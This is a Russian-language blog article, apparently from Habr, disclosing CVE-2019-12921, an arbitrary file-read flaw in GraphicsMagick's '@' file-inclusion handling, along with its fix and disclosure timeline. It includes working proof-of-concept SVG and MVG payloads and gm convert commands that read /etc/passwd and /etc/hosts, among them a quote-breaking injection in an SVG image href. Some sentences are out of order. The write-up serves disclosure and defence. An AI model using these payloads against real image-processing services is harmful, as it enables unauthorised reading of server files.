Хабрахабр

Трагедия не приходит одна

Как способ снижения риска предлагалось использовать GraphicsMagick — форк библиотеки ImageMagick, нацеленный на более стабильный и производительный API. В 2016 году уязвимость ImageTragick в библиотеке ImageMagick наделала много шума. Сегодня я рассмотрю аналогичную уязвимость в GraphicsMagick, обнаруженную мной в ходе анализа исходного кода библиотеки. Оригинальная уязвимость CVE-2016-3717, обнаруженная stewie, позволяла злоумышленнику прочитать произвольный файл на файловой системе при помощи специально созданного изображения.

Оригинальный эксплоит через псевдопротокол 'label' с сайта ImageTragick не отработает.

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

Код функции: Причина в алгоритме обработке изображений ImagePrimitive файла render.c ReadImage не может обработать строку label:@/etc/passwd как изображение и вернет ошибку Unable to open file.

#define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0) if (!VALID_PREFIX("http://", primitive_info->text) && !VALID_PREFIX("https://", primitive_info->text) && !VALID_PREFIX("ftp://", primitive_info->text) && !(IsAccessibleNoLogging(primitive_info->text)) )

Пример эксплуатации данной "фичи" можно найти в отчетах BugBounty программ, например тут.
Это и сподвигло меня детально изучить реализацию кодека Label в GraphicsMagick. Тем не менее, возможность прочитать любое изображение на файловой системе остается, но может быть использована только для сбора внутренней информации. Для этого выполним преобразование:

$ gm convert label:@etc/passwd output.png

Чтобы разобраться как можно проэксплуатировать данную “фичу” давайте разберемся в причинах. Библиотека возвращает первую строку файла /etc/passwd, что означает что псевдо-протокол остается уязвимым, но в большинстве случаев не пригоден для злоумышленника, так как возможность повлиять на командную строку отсутствует. Псевдо-протокол label производит преобразование строки при помощи функции TranslateTextEx:

text=(char *) formatted_text; /* If text starts with '@' then try to replace it with the content of the file name which follows. */ if ((*text == '@') && IsAccessible(text+1)) { text=(char *) FileToBlob(text+1,&length,&image->exception); if (text == (char *) NULL) return((char *) NULL); }

Давайте рассмотрим другие места, где используется данная функция, которые могут быть проэксплуатированы злоумышленником. Функция принимает входной параметр formatted_text и если строка начинается со специального символа '@', то дальнейшая строка воспринимается GM как полный путь до файла, из которого необходимо прочитать содержимое для трансформации.

  1. /coders/msl.c множественное количество вхождений, но данный язык используется GM в качестве скриптового языка для команды conjure и не будет рассмотрен в рамках данной статьи Эксплуатация возможна, но потребует специфической логики работы приложения
  2. Функция TranslateText вызывается для атрибутов comment и label, когда они передаются непосредственно пользователем, а не хранятся в самом изображении. /magick/attribute.c обработка атрибутов изображения. Разработчик оставил нам небольшую подсказку:

    Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open.

    Оказывается такий кодек есть — SVG. Но что произойдет, если обработка функцией SetImageAttribute изображения будет выполнена уже после тога как, blob закрыт. Цепочка вызовов функции ReadSVGImage выглядит следующим образом:

    • XML Parser завершает работу
    • CloseBlob(image) закрывает blob
    • Делегат MVG выполняет преобразование
    • SetImageAttribute(image,"comment",svg_info.comment) атрибуты comment и title будут записаны в изображение.

Для успешной эксплуатации злоумышленнику необходимо, чтобы итоговый формат поддерживал данные атрибуты, например GIF, JPEG.

<?xml version="1.0" standalone="no"?>
<!--@/etc/passwd-->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink">
<image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/>
</svg>

$ gm convert exploit.svg output.gif
$ gm convert exploit.svg output.jpeg

  1. /magick/annotate.c следующий хороший вариант для эксплуатации функция AnnotateImage, которая используется:
    • /coders/txt.c аналогично с псевдо-протоколом Lablel протокол TXT: что не представляет особого интереса, так как для его эксплуатации потребуется доступ к командной строке.
    • /magick/render.c И здесь мы приходим к нашему финальному эксплоиту для примитива text Magick Vector Graphics, который имеет довольно простой синтаксис:

text "text"

Успешаня эксплуатации возможна, если строка будет начинаться со спецсимвола '@'.

$ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png

Делегат — внешний обработчик изображения, формат которых не поддерживается библиотекой. Данный метод крайне редко встречается в реальном приложении, однако существует способ эксплуатации данной уязвимость при помощи делегатов. Как было отмечено ранее, таким кодеком является SVG. Существует ряд кодеков, которые преобразовываются во временный файл и дальнейшая обработка выполняется псевдо-протоколом MVG.

Эксплуатация CVE-2019-12921

XML Parser SVG изображения выполняет преобразование разметки в промежуточный файл:

FormatString(clone_info->filename,”mvg:%.1024s",filename);

Преобразование тэга img имеет следующий код:

case 'i': { if (LocaleCompare((char *) name,"image") == 0) { MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n", svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width, svg_info->bounds.height,svg_info->url); MVGPrintf(svg_info->file,"pop graphic-context\n"); break; } break; }

Для эксплуатации нам необходимо разорвать контекст строки при помощи обычной кавычки и добавить наш эксплоит:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="720px" height="720px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/>
</svg>

$ gm convert exploit.svg output.png

Итоговое изображение

Эксплуатация для других кодеков использующих MVG делегат останется на усмотрение читателя.

Защита

Фикс удаляет поддержку файлов при помощи спецсимвола @ на данный момент, Mercurial changesets 16037:f780c290b4ab и 16038:44e3d0e872eb для функции TranslateTextEx. Обновленая версия GM доступна на сайте производителя. В качестве временного решения советует использовать переменную окружения MAGICK_CODER_STABILITY=PRIMARY По словам разработчиков, в дальнейшем данная логика будет возвращена в более безопасной реализации.

Timeline

15 июня 2019 вышло информационное письмо на www.openwall.com. Информация об уязвимости была передана разработчику 6 июня 2019 года, позже того же дня вышел хотфикс. 20 июня 2019 номер CVE-2019-12921 был присвоен данной проблеме.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть